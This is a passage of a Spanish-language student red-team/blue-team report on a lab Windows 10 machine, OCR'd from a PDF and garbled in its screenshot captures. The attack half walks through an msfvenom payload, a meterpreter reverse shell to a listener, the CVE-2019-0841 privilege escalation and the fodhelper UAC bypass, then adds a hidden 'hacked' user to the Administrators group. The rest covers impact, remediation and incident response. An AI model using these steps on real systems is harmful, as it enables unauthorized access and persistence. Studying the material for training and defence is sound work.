1 host up) scanned in 155

C: \WINDOWS

llustracion 1. Escaneo de puertos en la red

Fuente: Creacion propia del estudiante

Luego se procede con la simulacion de la vulnerabilidad para esto se realizd un
payload que realice la conexiéon mediante el puerto identificado a una maquina
atacante, esto se realiz6 utilizando el programa msfvenom (/lustracion 2)
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B O¥T#NErS T @B crrorecn
llustracion 2. Creacién del payload

Fuente: Creacion propia del estudiante

Luego de crear este payload se procede a enviar el ejecutable a la maquina victima,
para la ejecucion del archivo se utilizé ingenieria social escondiendo el ejecutable
dentro de un software que parecia inofensivo y convenciendo al usuario que este
archivo es inofensivo. (/lustracion 3)

- mishell - Thunar
Archivo Editar Ver Ir Marcadores Ayuda
4 #& < A mishell
Lugares
B Equipo & <] - ﬂ
I mishell

Descargas Documentos Escritorio Imagenes Musica
critorio

A 2 -

Plantillas Publico Videos

Dispositivos

_E Sistema de arch...
Red

D Navegar por la red

8 carpetas | 1archiv tes) | Espacio libre: 9,7 GiB

llustracién 3. Payload Ejecutable

Fuente: Creacion propia del estudiante
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Y por ultimo se utiliza el software meta exploit framework configurandolo con los
datos de la ip, el puerto de escucha y el exploit para realizar la conexién con la
maquina victima. Para esto se utilizo el exploit
Windows/x64/meterpreter/reverse_tcp. (llustracion 4)

mishell@10: ~

Archive Acciones Editar Vista Ayuda

)i (& 0 O B | B R Derecha
llustracién 4. Configuracién del metaexploit

Fuente: Creacién propia del estudiante

Por ultimo, se realizé la ejecucién del exploit para esperar que se conecte un cliente

y con esto logramos acceder mediante consola meterpreter a la maquina victima.
(llustracion 5)

| KALI |

BOXS /MO E @0 cerzin

llustracion 5. Conexiéon Meterpreter

Fuente: Creacién propia del estudiante
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Las pruebas de explotacidon tuvieron éxito, lo que demostrd la existencia de una
vulnerabilidad de acceso remoto no autorizado que es una vulnerabilidad critica. Se
obtuvo acceso a la consola cmd de la maquina win 10, ademas de poder utilizar
ciertas herramientas de espia como acceso a la camara, acceso a screenshots sin
autorizacion del usuario, keygen para deteccion de teclado y ejecucion de
comandos de manera remota.

Hallazgo 2: Escalada De Privilegios Con CVE-2019-0841.

Para iniciar este proceso se utiliza la conexion existente con meterpreter para
acceder a la consola cmd de Windows y tener la informacion de la maquina.
(llustracion 6)

K

mishell@10: ~

Archivo Acciones Editar Vista Ayuda

ers\Mishell\Desktop>systeminfo
systeminfo

Host MName: wINDONJ
Windows 18 Home
M/ A Eu11d 17134

PIOdU:T ID
01191n41 In5T411

[@1]: AMD&4 F4m111 Model 24 Stepping 1 Authenti

ek GmbH VirtualBox, 12/1/2006

System Di

Boot Dev

System L

Input Lo tes)

Time Zon ( :@@) Bogota, Lima, Quito, Rio Branco

Domaln
Logon
Hotfix

Network Card(s): »
[@1]: Intel(R) PRO/1000 MT Des ktop Adapter

llustracion 6. Informacioén de la maquina victima

Fuente: Creacion propia del estudiante
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Luego de esto se guarda un archivo con la informacién de la maquina y utilizando

el comando Download se descarga el archivo desde la maquina victima. (/lustracion
7)

(NPT Tl ] W1, IR

llustracion 7. Archivos con la informacién de la maquina victima en KALI

Fuente: Creacion propia del estudiante

Ya con los datos completos de la maquina victima se descarga el programa wesng,
utilizando el comando python wes.py win10_exploits.txt, el cual se encarga de tomar
todos los datos de la maquina Windows y detectar las vulnerabilidades existentes y
los parches que tenga instalados la maquina. (/lustracion 8)

llustracion 8. Archivo con todas las vulnerabilidades de Windows

Fuente: Creacién propia del estudiante
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Ya habiendo identificado que la vulnerabilidad existe dentro de la maquina, se
procede a descargar el ejecutable WindowsAppsLPE.exe el cual es el encargado
de secuestrar archivos que son propiedad de NTAuthority\SYSTEM. Esto se realiza
sobrescribiendo los permisos en el archivo destino, el que se quiere secuestrar.
(llustracién 9)

llustraciéon 9. Archivo ejecutable WindowsAppsLPE.exe

Fuente: Creacién propia del estudiante

Luego se utiliza el comando upload dentro de la consola meterpreter para enviar el
archivo a la maquina victima para poder realizar la escalada de privilegios. Para este
ejercicio se realiza le escalada sobre el archivo de hosts para darle permisos totales
al usuario Mishell el cual no posee privilegios elevados. (llustracién 10)

o mishell@10: ~

Archivo Acciones Editar Vista Ayuda

Unknown command: net
meterpreter > upload /home/mishell/Descargas/WindowsAppsLPE.exe

Uploading : /Shome/mishell/Desc: NindowsAppsLPE.exe — WindowsAppsLPE

Uploaded 229.58 KiB of 229.50 KiB (100.@7 Jhome/mishell/Descargas/Windo

wsAppsLPE.exe — WindowsAppsLPE B
Completed : Shome/mishell/D argas/WindowsAppsLPE.exe — WindowsAppsLPE

-BXe

llustracién 10. Cargue del archivo a la maquina victima Windows

Fuente: Creacion propia del estudiante

46



Por ultimo se ejecuta desde meterpreter los comandos necesarios para realizar la
escalada de permisos sobre el archivo de hosts en la maquina victima y tener el
control total de este documento. (/lustracién 11).

mishell@10: ~

Archivo Acciones Editar Vista Ayuda

C:\Users\Mishell\Desktop>WindowsAppsLPE.exe C/Windows/System32/drivers/etc/ho
sts

WindowsAppsLPE.exe C/Window: m32/drivers,

[+] Something went wrong: N

[+] Something went wrong: No such file or directory

Privileged DACL Overwrite EoP

# CVE: CVE-2019-0841

# Exploit Author: Nabeel Ahmed (@rogue_kdc)
# Tested on: Microsoft Windows 10 x32 & x64
# Category: Local

[+] Checking File privileges of C/Windows/System32/drivers/etc/hosts
[!] Microsoft Edge is running :(
[!] File is in use by NT AUTHORITY\SYSTEM ...
[!] Killing Microsoft Edge ... DONE
[+] Retrying ...

[!] Microsoft Edge is running :(
[!] File is in use by NT AUTHORITY\SYSTEM ...
[!] Killing Microsoft Edge ... DONE
[+] Retrying ...

[!] Microsoft Edge is running :(
[!] File is in use by NT AUTHORITY\SYSTEM ...

[!] Killing Microsoft Edge ... DONE

[+] Retrying ...

[+] Checking if 'settings.dat' file exists ... YES

[!] Attempting to create a hardlink rget ... Error creating hardlink: Th
e system cannot find the path specified.

[+] Starting up Microsoft Edge to forc

[!] Killing Microsoft Edge again ...

[+] Checking File privileges again .

[+] Checking File privileges of C/Windows/System32/drive

[!] File Takeover Failed!

[!] File might be in use by another process or NT AUTHORITY\SYSTEM does not h
ave 'Full Control' permissions on the file!

[!] Try another file ...

llustracion 11. Seuestro del archivo hosts

Fuente: Creacion propia del estudiante

Las pruebas de explotacidon tuvieron éxito, lo que demostrd la existencia de una
vulnerabilidad de escalda de permisos y ejecucion de cdodigo remoto. Como
observamos el archivo hosts ahora posee todos los permisos sobre el usuario
Mishell. (llustracion 12).

hosts Properties Y

General Securiy Detalls Previous Versions
Object name:  C:\Windows'\System32\drivers\stc\hosts

Group or user names:
[ Account Unknown (S-1-15-2-3624051433-2125758914-142...
82 SYSTEM

‘ Mishell (WINDOW S\Mishell)

82 Administrators (WINDOWS\Administratars)

To change pemissions, click Edit Edt

Permissions for Mishell Alow Deny

Full control

Modify

Read & execute
Read

Write

Special permissions

For special pemmissions or advanced settings, Advanced
click Advanced

Cancel Ppply
llustracion 12. Propiedades del archivo hosts con todos los permisos

Fuente: Creacion propia del estudiante
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Hallazgo 3: Escalada de Privilegios.

Para este proceso de obtener el control del usuario de administrador en la maquina
victima debemos primero tener una sesion activa de meterpreter. Luego de tener
esta sesidon debemos utilizar el exploit explot/Windows/local/bypassuac_fodhelper
el cual nos ayudara a realizar el proceso de bypass a la maquina. (/lustracion 13).

mishell@10: ~

Archivo Acciones Editar Vista Ayuda

Backgrounding session 1...
msf6 post( ) > use exploit/windows/local/bypassuac_fo
dhelper

No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( ) > show options

Module options (exploit/windows/local/bypassuac_fodhelper):
Name Current Setting Required Description

SESSION yes The session to run this module on

Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXITFUNC process yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST 192.168.1.14 yes The listen address (an interface ma

y be specified)
LPORT 4444 The listen port

Exploit target:

Id Name

llustracién 13. Configuracion del exploit bypass

Fuente: Creacion propia del estudiante

Luego de configurar el exploit de bypass y configurar todos los datos de la conexion
meterpreter, lo mas importante para este caso es haber enviado a segundo plano la
sesion de meterpreter con el comando background y obtener su id de sesidn con el
comando sessions. Por ultimo ejecutamos el exploit con el comando run. (/lustracion
14).

mishell@10: ~

Archivo Acciones Editar Vista Ayuda
View the full module info with the info, or f command.

msf6 exploit( ) > run

Started reverse TCP handler on 192.168.1.14:443
UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, con
Configuring payload and stager registr .
Executing payload: C:\Windows 32 /c C:\Windows\System32\fod
helper.exe

Sending stage (200774 bytes) to 192.168.1.15

Meterpreter session 2 opened (192.168.1.14:443 — 192.168.1.15:50317) at
2023-09-07 16:09:25 -0500

Cleaining up registry keys ...

meterpreter > sysinfo

Computer : WINDOWS

0s : Windows 10 (10.0 Build 17134).
Architecture 1 x64

System Language :

PLLESL

Logged On Users :

Meterpreter 5 /windows

meterpreter > shell

Process 4812 created.

llustracién 14. Ejecucion del bypass y sesiéon del administrador

Fuente: Creacion propia del estudiante
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Por ultimo habiendo obtenido acceso mediante administrador procedemos a crear
un usuario nuevo para poder realizar todas las acciones necesarias mediante ese
usuario de manera incognita. (/lustracion 15).

mishell@10: ~

Archivo Acciones Editar Vista Ayuda

Meterpreter : x64/windows

meterpreter > shell
Process 4812 created.

Channel 1
Microsoft

created.
Windows [Version 10.0.17134.1]

(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>net user hacked /add
net user hacked /add
The command completed successfully.

C:\Windows\system32>net user hacked

net user
User name
Full Name
Comment

hacked
hacked

User's comment

Country/r
Account a
Account e

Password
Password
Password
Password
User may

Por ultimo se le da un

egion code 000 (System Default)
ctive Yes

Xxpires Never

last set 9/7/2023 4:10:02 PM
expires 10/19/2023 4:10:02 PM
changeable 9/7/2023 4:10:02 PM
required Yes

change password Yes

llustracion 15. Creacion de un usuario

Fuente: Creacién propia del estudiante

permiso de administrador al usuario que creamos para lograr

realizar acciones sobre la maquina victima sin necesitar ningun permiso adicional.

(llustracién 16).

mishell@10: ~
Archivo Acciones Editar Vista Ayuda

*System Managed Accounts Group
*Users
The command completed successfully

c:\Windows\system32>net localgroup Administrators hacked /add
net localgroup Administrators hacked /add
The command completed successfully

C:\Windows\system32>net user hacked

net user hacked

User name hacked

Full Name

Comment

User's comment

Country/region code 000 (System Default)
Account active Yes

Account expires Never

Password last set
Password expires
Password changeable
Password required

User may change password

Workstations allowed
Logon script

User profile

Home directory

Last logon

Logon hours allowed ALl

Local Group Memberships *Administrators
Global Group memberships *None
The command completed successfully

llustraciéon 16. agregar permisos de administrador al usuario creado

Fuente: Creacion propia del estudiante
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Las pruebas de explotacidon tuvieron éxito, lo que demostro la existencia de una
vulnerabilidad de escalda de permisos y ejecucion de codigo remoto. Como
observamos ahora dentro del sistema Windows 10 podemos ver un usuario llamado
hacked el cual fue creado de manera ilegal y remotamente mediante la consola de
meterpreter. (/lustracion 17).

Recently added

*  YouTube See all your mail in one place
And more...
ail ™

. < Cons
Expand
Suggested
i Sameta OneNote @3 | Microsoft Clip..

Change account settings

o (]

Microscft Store

Play music at

home or on the
go.

Spotify  © | Skype

Fuente: Creacion propia del estudiante

Impacto Potencial de los Hallazgos

Escalada de Privilegios: Se identificé una vulnerabilidad de escalada de privilegios
en un equipo Windows 10 de uno de los colaboradores. Esta vulnerabilidad
representaba un riesgo critico, ya que permitia a un atacante obtener acceso de
administrador al sistema comprometido.

Hijacking de Archivos: Se descubrié una debilidad en la seguridad de los sistemas
de archivos que podria permitir a un atacante tomar el control de archivos criticos
en la maquina corporativa. Esta amenaza potencial plantea preocupaciones de
confidencialidad e integridad de los datos.

Acceso Remoto mediante Meterpreter: A través de técnicas de explotacion
avanzadas, se logré obtener acceso remoto a sistemas criticos utilizando
Meterpreter, una herramienta de codigo abierto de Metasploit. Esto puso de
manifiesto la importancia de la deteccion y la respuesta eficaz a incidentes.
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Evaluacién de las Repercusiones en la Organizaciéon
La Empresa HackerHouse debe considerar cuidadosamente las posibles
repercusiones de los hallazgos identificados durante el ejercicio de Red Team:

Pérdida de Datos Sensibles: La vulnerabilidad de escalada de privilegios y
las contrasefas débiles pueden dar lugar a la pérdida de datos sensibles o
confidenciales de la empresa y sus clientes, lo que podria tener un impacto
negativo en la confianza y la conformidad con las regulaciones.

Interrupcién de Servicios: Un ataque exitoso basado en los hallazgos
podria resultar en la interrupcion de servicios criticos, lo que afectaria la
operacion normal de la empresa y posiblemente causaria pérdidas
financieras.

Dano a la Reputacién: La divulgaciéon de una brecha de seguridad o de un
incidente cibernético puede danar la reputacion de la Empresa HackerHouse
y socavar la confianza de los clientes, socios y partes interesadas.

Repercusiones Legales y Regulatorias: Dependiendo de la naturaleza de
los hallazgos, la empresa podria enfrentar consecuencias legales y
regulatorias, incluyendo multas y sanciones.

Recomendaciones

Con base en los hallazgos del ejercicio de Red Team, se presentan las siguientes
medidas especificas para mitigar los riesgos identificados:

Aplicacién de Parches y Actualizaciones de Seguridad: Se recomienda
aplicar los parches y actualizaciones de seguridad mas recientes para el
servidor de aplicaciones. Esto abordara la vulnerabilidad de escalada de
privilegios identificada.

Auditorias de Seguridad Continuas: Implementar auditorias de seguridad
regulares para detectar y mitigar posibles vulnerabilidades de forma
proactiva.

Educar al Personal: Proporcionar capacitacion en seguridad cibernética a

todo el personal para aumentar la conciencia sobre la importancia de
contrasefas seguras y practicas de autenticacion.
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e Gestion de Parches: Implementar un proceso de gestion de parches eficaz
que asegure la aplicacion oportuna de parches de seguridad criticos en todos
los sistemas.

¢ Monitorizacion de Eventos de Seguridad: Establecer una monitorizacion
continua de eventos de seguridad para detectar actividad inusual o posibles
amenazas después de aplicar los parches.

Recomendaciones Generales para Mejorar la Seguridad y Robustez del
Sistema

Ademas de las medidas especificas para abordar los hallazgos, se recomiendan las
siguientes practicas generales para mejorar la seguridad y robustez del sistema:

e Evaluacién Regular de la Infraestructura: Realizar evaluaciones regulares
de seguridad de la infraestructura y las aplicaciones para identificar y abordar
nuevas vulnerabilidades.

e Politicas y Procedimientos de Seguridad Actualizados: Mantener y
actualizar politicas y procedimientos de seguridad cibernética para reflejar
las mejores practicas y las amenazas emergentes.

e Ejercicios de Concienciacién en Seguridad: Realizar ejercicios regulares
de concienciacion en seguridad para todo el personal para fomentar buenas
practicas de seguridad.

¢ Respuesta a Incidentes: Desarrollar y mantener un plan de respuesta a
incidentes que detalle los pasos a seguir en caso de una violacion de
seguridad.

e Auditorias Externas: Considerar auditorias de seguridad externas
periddicas para obtener una evaluacion independiente de la seguridad.

e Seguimiento de Cumplimiento: Asegurar el cumplimiento de regulaciones
y estandares de seguridad relevantes, como GDPR, HIPAA, ISO 27001, etc.
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5 Etapa 4 contencion de ataques informaticos

v ¢Ante un ataque informatico en tiempo real usted como experto en
Ciberseguridad qué pasos toma para identificar dicho ataque? Debe
listar y explicar cada uno de estos pasos.

Como un experto en ciberseguridad se deben seguir una serie de pasos para
identificar y responder adecuadamente a la amenaza. Estos pasos pueden variar
segun la naturaleza del ataque, pero aqui hay una lista general de pasos a seguir,
los cuales son:

o Deteccion de Anomalias

La deteccion de anomalias es una parte fundamental de la ciberseguridad, ya que
permite identificar patrones inusuales o comportamientos anémalos en una red o
sistema que pueden indicar un posible ataque. Sin embargo, es importante recordar
gue ningun sistema de deteccion es infalible, y es fundamental contar con una
estrategia de seguridad en capas que incluya medidas preventivas y procedimientos
de respuesta a incidentes para proteger adecuadamente una organizacion contra
las amenazas cibernéticas. La deteccidn de anomalias puede incluir:

- Sistemas de Deteccion de Intrusiones (IDS) e Intrusion Prevention
Systems (IPS): Los IDS y los IPS son herramientas que supervisan
constantemente el trafico de red en busca de comportamientos sospechosos.
Los IDS detectan intrusiones y emiten alertas, mientras que los IPS pueden
tomar medidas para bloquear automaticamente actividades maliciosas. Estos
sistemas se basan en firmas conocidas y reglas predefinidas para identificar
actividades maliciosas o patrones de trafico andmalos.

- Machine Learning y Analisis de Comportamiento: Ademas de las reglas
predefinidas, muchas soluciones modernas utilizan técnicas de aprendizaje
automatico y analisis de comportamiento para identificar anomalias. Esto
implica la creacibn de modelos de comportamiento normales y la
identificacion de desviaciones significativas de estos modelos. Por ejemplo,
si un usuario que normalmente solo accede a ciertas carpetas comienza a
acceder a archivos sensibles, esto podria ser considerado una anomalia.

- Andlisis de Registros y Eventos: La revision de registros y eventos de
seguridad es crucial. Los registros contienen informacién detallada sobre lo
que sucede en una red o sistema. Los expertos en seguridad analizan estos
registros en busca de patrones inusuales, como intentos de acceso fallidos,
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cambios de configuracién inesperados o actividad de usuarios que no
coincide con los patrones tipicos.

- Alertas y Priorizacién: Cuando se detecta una anomalia, se genera una
alerta. Estas alertas pueden variar en gravedad, y el equipo de seguridad
debe priorizarlas en funcidn de la amenaza percibida. No todas las anomalias
son igualmente importantes, por lo que se debe enfocar la atencion en las
que representan un riesgo significativo.

- Correlacion de Eventos: A menudo, se deben correlacionar multiples
eventos y alertas para obtener una imagen completa de lo que esta
ocurriendo. Por ejemplo, una sola alerta de intento de inicio de sesion fallido
podria no ser preocupante, pero si se correlaciona con otros eventos
sospechosos, podria indicar un intento de intrusibn mas amplio.

- Umbral de Falsos Positivos: La deteccion de anomalias puede generar
falsos positivos, es decir, alertas que parecen indicar un ataque pero que son
inofensivas. Es importante ajustar los umbrales y las reglas para reducir la
cantidad de falsos positivos y centrarse en las amenazas reales.

o Alertas de Seguridad

Las alertas de seguridad son notificaciones generadas por herramientas y sistemas
de seguridad que indican la deteccion de actividades o eventos que podrian ser
indicativos de una amenaza o un ataque cibernético. Estas alertas desencadenan
la respuesta del equipo de seguridad de la organizacion. Un proceso efectivo de
gestion de alertas permite a una organizacion identificar y responder a las amenazas
de manera oportuna, minimizando el impacto potencial de los ataques y protegiendo
la integridad y la disponibilidad de los sistemas y datos criticos.

o Recopilacion de Informaciéon

La "Recopilacion de Informacion" es un paso crucial en la respuesta a un ataque
informatico en tiempo real, ya que implica la recopilacion de datos relevantes sobre
la actividad sospechosa o el incidente de seguridad. La recopilacion de informacion
es un paso critico para comprender la naturaleza y el alcance del incidente de
seguridad, identificar a los actores involucrados y tomar las medidas necesarias
para mitigar el impacto. La informacidn recopilada se utilizara en investigaciones
posteriores, informes de incidentes y acciones de respuesta.

o Analisis de Trafico

El "Analisis de Trafico" es un componente importante en la respuesta a un ataque
informatico en tiempo real, ya que permite comprender como se esta llevando a
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cabo el ataque, qué sistemas o servicios se estan viendo afectados y como se
pueden tomar medidas para mitigar la amenaza. El analisis de trafico es una
habilidad critica en la respuesta a incidentes de seguridad, ya que proporciona
informacion clave para la comprensién y la mitigacién de amenazas. La capacidad
de identificar patrones y comportamientos anémalos en el trafico de red es esencial
para una respuesta efectiva a incidentes cibernéticos.

o Recoleccion de Evidencia

La "Recoleccion de Evidencia" es un paso fundamental en la respuesta a un ataque
informatico en tiempo real. Esta fase implica la preservacion de cualquier tipo de
evidencia digital relacionada con el incidente para fines de investigacion, analisis
forense y, en algunos casos, posibles acciones legales. La recoleccion de evidencia
es esencial para determinar la causa y el alcance de un incidente de seguridad y
para tomar las medidas apropiadas para mitigar los riesgos y prevenir futuros
incidentes. Es importante que esta fase se realice de manera cuidadosa y
profesional para garantizar la integridad y la confiabilidad de la evidencia.

o Determinacion de la Fuente

La "Determinacion de la Fuente" es un paso critico en la respuesta a un ataque
informatico en tiempo real, ya que implica la identificacién de la fuente o el origen
del ataque. La determinacién de la fuente de un ataque puede ser un proceso
complejo y, en algunos casos, puede ser dificil de lograr, especialmente si los
atacantes han tomado medidas para ocultar su identidad. Sin embargo, es un paso
esencial para tomar medidas legales o técnicas adicionales para mitigar el riesgo y
proteger la infraestructura de la organizacion.

o Notificacion de Incidentes

La "Notificacién de Incidentes" es un paso critico en la respuesta a un ataque
informatico en tiempo real, ya que implica informar a las partes interesadas y a las
autoridades pertinentes sobre el incidente de seguridad. La notificacién de
incidentes es esencial para una respuesta efectiva, ya que permite una accion
rapida y coordinada para abordar la amenaza y minimizar el impacto en la
organizacion. Ademas, el cumplimiento de los requisitos legales y regulatorios de
notificacion es fundamental para evitar posibles sanciones y pérdida de confianza
de los clientes y socios comerciales.

o Mitigacion y Contencion
La "Mitigacion y Contencion" es un paso critico en la respuesta a un ataque
informatico en tiempo real, ya que tiene como objetivo detener la actividad maliciosa,

minimizar el impacto del incidente y proteger los sistemas y datos de la
organizacion. La mitigacion y contencidon son esenciales para limitar el alcance y el
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impacto de un incidente de seguridad. Un enfoque rapido y coordinado para detener
la actividad maliciosa y proteger los activos de la organizacion es fundamental para
minimizar el dafio y restaurar la seguridad de los sistemas y datos.

o Recuperacion y Restauracién

La "Recuperacion y Restauracion" son fases criticas en la respuesta a un ataque
informatico, ya que implican la restauracion de sistemas y datos afectados a un
estado funcional normal después de un incidente. La recuperacion y la restauraciéon
son esenciales para restablecer la normalidad después de un incidente de
seguridad. La rapidez y la eficacia en la recuperacién y restauracién son
fundamentales para minimizar el tiempo de inactividad y el impacto en la
organizacion, asi como para restaurar la confianza de los clientes y socios
comerciales.

La recuperacion puede incluir los siguientes pasos:

+ Evaluacion de Daios: Antes de iniciar la recuperacion, es importante
evaluar los dafios causados por el incidente. Esto incluye determinar qué
sistemas, datos y recursos se vieron afectados y en qué medida.

+ Priorizacion de la Recuperacion: En funcion de la evaluacion de dafios,
prioriza la recuperacion de sistemas y datos. Identifica qué sistemas y datos
son criticos para la operacion continua de la organizacion y dales prioridad
en el proceso de recuperacion.

+ Restauracion de Sistemas y Datos: Utiliza copias de seguridad (si estan
disponibles y no se vieron comprometidas) o sistemas limpios para restaurar
los sistemas afectados a un estado funcional normal. Asegurate de que los
sistemas restaurados estén debidamente parcheados y actualizados para
prevenir futuras vulnerabilidades.

+ Pruebas de Recuperacion: Después de la restauracion, realiza pruebas
exhaustivas para garantizar que los sistemas funcionen como se espera.
Esto incluye pruebas de funcionalidad, rendimiento y seguridad.

+ Restablecimiento de Credenciales: Si se han visto comprometidas
credenciales de usuario o contrasefas, asegurate de restablecerlas y
comunicar los cambios a los usuarios afectados.

+ Monitoreo Continuo: Una vez que los sistemas se han recuperado, contintia

monitoreandolos de cerca en busca de signos de actividad maliciosa o
problemas persistentes.
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La restauracion puede incluir los siguientes pasos:

*

o

Evaluacion de Integridad de Datos: Verifica la integridad de los datos
restaurados para asegurarte de que no se hayan corrompido durante el
incidente o la recuperacion. Esto es especialmente importante si se ha visto
afectado el almacenamiento de datos criticos.

Restauracion de Configuraciones: Asegurate de que las configuraciones
de los sistemas, aplicaciones y servicios se restablezcan correctamente a
sus estados anteriores y cumplan con las politicas de seguridad establecidas.

Implementacion de Mejoras de Seguridad: Aprovecha la oportunidad de la
restauracion para implementar mejoras de seguridad. Esto puede incluir la
revision y la actualizacion de politicas de seguridad, la implementacion de
medidas de seguridad adicionales y la capacitacion del personal en mejores
practicas de seguridad.

Documentacion de lecciones aprendidas: Después de la restauracion, es
importante documentar las lecciones aprendidas del incidente. Esto incluye
la revisién de lo sucedido, las medidas tomadas durante la respuesta y las
acciones para evitar futuros incidentes similares.

Plan de Continuidad del Negocio: Si la interrupcion del incidente tuvo un
impacto significativo en las operaciones del negocio, considera la
implementacion de un plan de continuidad del negocio para garantizar la
operacion ininterrumpida en caso de futuros incidentes.

Comunicacion Post-Incidente: Comunica internamente y, si es necesario,
externamente sobre el incidente y la restauracion exitosa. Asegurate de que
las partes interesadas estén al tanto de que se ha resuelto el incidente y de
las medidas tomadas para proteger la organizacion en el futuro.

Informe y Documentacion

La "Informe y Documentacién" es una fase critica en la respuesta a un ataque
informatico, ya que implica la creacion de registros detallados y documentacién que
respalden todas las acciones tomadas durante el incidente. Dentro de la
documentacion se detallan los siguientes pasos:
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Registro de Incidentes: Desde el inicio del incidente, es importante
mantener un registro detallado de todos los eventos, acciones vy
observaciones relacionadas con el incidente. Esto incluye la hora y fecha de
deteccidn, la naturaleza del incidente, las partes involucradas, los sistemas
afectados y cualquier otro detalle relevante.

Informacién de Contacto: Mantén una lista actualizada de las personas y
equipos de respuesta involucrados en la gestion del incidente, incluyendo sus
nombres, roles, direcciones de correo electronico y numeros de teléfono.
Esto facilita la comunicacioén y la coordinacion durante la respuesta.

Registro de Acciones Tomadas: Documenta todas las acciones tomadas
para identificar, mitigar y resolver el incidente. Esto incluye acciones técnicas,
como el parcheo de sistemas, la restauracion de copias de seguridad y la
implementacion de medidas de seguridad, asi como acciones de
comunicacién, como notificaciones a partes interesadas.

Registro de Comunicaciones: Mantén registros de todas las
comunicaciones relacionadas con el incidente. Esto incluye correos
electronicos, mensajes de chat, llamadas telefénicas y cualquier otra forma
de comunicacion utilizada para coordinar la respuesta.

Registro de Decisiones: Documenta todas las decisiones clave tomadas
durante la respuesta al incidente, incluyendo quién las tomd, cuando y por
qué. Esto proporciona un contexto importante para futuras evaluaciones y
revisiones.

Registro de Hallazgos: Mantén un registro de todos los hallazgos
relacionados con el incidente, incluyendo evidencia digital, registros de
actividad sospechosa y cualquier otra informacion que respalde la narrativa
del incidente.

Informe de Incidente: Prepara un informe detallado del incidente una vez
que se haya resuelto. Este informe debe incluir una descripcién completa del
incidente, los impactos sufridos, las medidas tomadas durante la respuesta y
las lecciones aprendidas. También debe incluir recomendaciones para
mejorar la seguridad en el futuro.

Diagramas y Graficos: Utiliza diagramas y graficos para visualizar la
secuencia de eventos y la propagacion del incidente, especialmente si es un
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incidente complejo. Esto puede ayudar a las partes interesadas a
comprender mejor la situacion.

+ Analisis Post-Incidente: Realiza un analisis post-incidente para evaluar la
eficacia de la respuesta y las areas de mejora. Esto puede incluir la
identificacion de debilidades en los procedimientos de seguridad vy
recomendaciones para fortalecer la postura de seguridad.

+ Archivo Seguro: Almacena todos los registros y documentos de manera
segura en un lugar protegido. La seguridad de esta informacién es esencial
para garantizar la integridad y la confidencialidad de los datos relacionados
con el incidente.

+ Revisiéon y Actualizacion: Revise y actualice regularmente los informes y
documentos relacionados con incidentes a medida que se obtenga nueva
informacion o se realicen mejoras en la respuesta a incidentes.

o Mejoras en la Seguridad

La fase de "Mejoras en la Seguridad" es crucial en el proceso de respuesta a
incidentes de seguridad. Después de manejar el incidente actual, es esencial tomar
medidas para fortalecer la seguridad y prevenir futuros incidentes similares. Las
mejoras en la seguridad son esenciales para fortalecer la postura de seguridad de
la organizacion y reducir la probabilidad de futuros incidentes. La seguridad de la
informacion debe ser un enfoque constante y en evolucion para proteger los activos
de la organizacion.

v ¢ Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red team
liste el paso a paso que ejecuté para subsanar el sistema ante el evento
del Payload?

El analisis BLUE TEAM se encuentra como adjunto en el .zip donde se da respuesta
a este punto de la guia
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v Sabemos que existen equipos Blue Team y Red Team, pero entonces
squé diferencia existen entre los equipos antes mencionados con el
Purple Team y equipos de respuesta a incidentes informaticos?

Equipo

Funcioén
Principal

Tareas Clave

Enfoque

Blue Team!4

Red Team?®

Purple Team?6

Defensa y
proteccion de
sistemas vy
redes.

Pruebas de
penetracion y
simulacién de
ataques.

Facilitar la
colaboracion
entre Blue y
Red Teams.

Monitoreo de

seguridad.
Deteccion y
respuesta a
amenazas.

Configuracion y
mantenimiento
de firewalls,
IDS/IPS.
Administracion
de parches vy
gestion de
vulnerabilidades.
Ejecucién de
pruebas de
penetracion.
Identificacion de
vulnerabilidades.
Elaboracion de

informes de
seguridad.
Coordinacion de
ejercicios de
seguridad.
Revision de

hallazgos de

Protecciéon de
activos y datos.
Mantenimiento
de seguridad.

Identificacion
de debilidades.
Evaluacién de
la postura de
seguridad.

Mejora de la
comunicacion.
Transferencia
de
conocimientos.

14 keepcoding. (21 de Febrero de 2023). [Sitio Web] KeepCoding Tech School. Obtenido de ¢Qué es Blue Team
en Ciberseguridad? [consultado el 16 de Septiembre 2023]. Disponible en: https://keepcoding.io/blog/que-
es-blue-team-en-ciberseguridad/

15 KeepCoding. (10 de Abril de 2023). [Sitio Web] KeepCoding Tech School. Obtenido de ¢Qué es Red Team en
Ciberseguridad? [consultado el 16 de Septiembre 2023]. Disponible en: https://keepcoding.io/blog/que-es-
red-team-en-ciberseguridad/

16 KeepCoding. (21 de Julio de 2023). [Sitio Web] KeepCoding. Obtenido de KeepCoding Tech School
[consultado el 16 de Septiembre 2023]. Disponible en: https://keepcoding.io/blog/que-es-purple-team-en-

ciberseguridad/

60


https://keepcoding.io/blog/que-es-blue-team-en-ciberseguridad/
https://keepcoding.io/blog/que-es-blue-team-en-ciberseguridad/
https://keepcoding.io/blog/que-es-red-team-en-ciberseguridad/
https://keepcoding.io/blog/que-es-red-team-en-ciberseguridad/
https://keepcoding.io/blog/que-es-purple-team-en-ciberseguridad/
https://keepcoding.io/blog/que-es-purple-team-en-ciberseguridad/

pruebas de
penetracion.

e |dentificacion de
debilidades y
brechas en la

seguridad.
Csirt’ Responden vy e Deteccion y e Respuesta vy
(Equipo  De | gestionan analisis de recuperacion
Respuesta A | incidentes de incidentes. de incidentes.
Incidentes) seguridad. e Coordinacién de e Minimizacion
respuesta. del impacto.
e Comunicaciéon e Documentacién
con partes de incidentes.
interesadas.

e Analisis forense

de incidentes.
Tabla 1. Comparacién entre Red Team, Blue Team, Purple Team y CSIRT

Fuente: Creacion propia del estudiante

¢ Qué funcion tiene CIS “Center For Internet Security” dentro de equipos
BlueTeam? Usted debe realizar un pequeno tutorial de cédmo funciona CIS y
qué se debe hacer para encontrar los tutoriales que posee.

El Center for Internet Security (CIS) es una organizacion sin fines de lucro que
desempefia un papel importante en el ambito de la ciberseguridad, especialmente
en apoyo a los equipos Blue Team y la mejora de la seguridad cibernética en
general.

El CIS se dedica a promover mejores practicas de seguridad cibernética y
proporcionar recursos, herramientas y directrices que ayudan a las organizaciones
